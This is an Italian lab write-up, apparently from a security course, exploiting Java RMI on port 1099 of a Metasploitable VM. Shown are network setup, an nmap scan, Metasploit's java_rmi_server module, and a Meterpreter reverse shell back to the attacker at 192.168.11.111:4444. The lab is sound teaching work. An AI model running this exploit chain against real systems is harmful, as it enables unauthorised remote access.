

S7L5

LA TRACCIA DI OGGI CONSISTEVA NEL SFRUTTARE LA VULNERABILITA' SULLA PORTA 1099 DI JAVA-RMI. COME PRIMO TARGET CAMBIARE L'IP DI KALI NEL SEGUENTE: 192.168.11.111 E DI META IN 192.168.11.112

```
GNU nano 7.2 /etc/network/interfaces *
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.1.1
```

Ip di Meta 192.168.11.112:

```
# and how to activate them. For more information, see interfaces(5).
```

```
# The loopback network interface
```

```
auto lo
```

```
iface lo inet loopback
```

```
# The primary network interface
```

```
auto eth0
```

```
iface eth0 inet static
```

```
address 192.168.11.112
```

```
netmask 255.255.255.0
```

```
network 192.168.11.0
```

```
broadcast 192.168.11.255
```

```
gateway 192.168.11.1
```

```
[ Read 17 lines ]
```

```
^G Get Help
```

```
^O WriteOut
```

```
^R Read File
```

```
^Y Prev Page
```

```
^K Cut Text
```

```
^C Cur Pos
```

```
^X Exit
```

```
^J Justify
```

```
^W Where Is
```

```
^V Next Page
```

```
^U UnCut Text
```

```
^T To Spell
```

In seguito effettuare con il tool di **Nmap** per trovare i servizi aperti e le varie vulnerabilità con il comando `nmap -sV ip di meta -T5`

```
(kali@kali)~$  
$ nmap -sV 192.168.11.112 -T5  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-19 09:48 CET  
Nmap scan report for 192.168.11.112  
Host is up (0.00032s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE VERSION  
21/tcp    open  ftp    vsftpd 2.3.4  
22/tcp    open  ssh    OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet  Linux telnetd  
25/tcp    open  smtp    Postfix smtpd  
53/tcp    open  domain  ISC BIND 9.4.2  
80/tcp    open  http    Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind 2 (RPC #100000)  
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec    netkit-rsh rshcd  
513/tcp   open  login?  
514/tcp   open  shell   Netkit rshd  
1099/tcp  open  java-rmi GNU Classpath grmiregistry  
1524/tcp  filtered ingreslock  
2049/tcp  open  nfs     2-4 (RPC #100003)  
2121/tcp  open  ftp     ProFTPD 1.3.1  
3306/tcp  open  mysql   MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc     VNC (protocol 3.3)  
6000/tcp  open  X11     (access denied)  
6667/tcp  open  irc     UnrealIRCd  
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)  
8180/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
```

Una volta avviata meta con il comando msfconsole dal terminale di kali >search java_rmi> ed usare l'exploit **multi/misc/java_rmi_server** >show options per vedere se la porta e il rhost sono da configurare

Metasploit Documentation: <https://docs.metasploit.com/>

msf6 > search java_rmi

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMICConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example `info 3`, `use 3` or `use exploit/multi/browser/java_rmi_connection_impl`

msf6 > use exploit/multi/misc/java_rmi_server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all

Una volta settato il rhosts con l'ip di meta digitare il tasto exploit per eseguirlo e vedere che è stata eseguita la **java_rmi_server**!

>**ifconfig** per visualizzare il nostro Ipv4 e Ipv6. >**routes** per ottenere altre informazione riguarda sempre l'Ipv4 del nostro penetration test

```
192.168.11.112 =>
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/LHJYBGSnLAWWE
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:53531) at 2024-01-19 09:53:45 +0100
```

meterpreter > ifconfig

Interface 1

Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2

Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe39:f69d
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		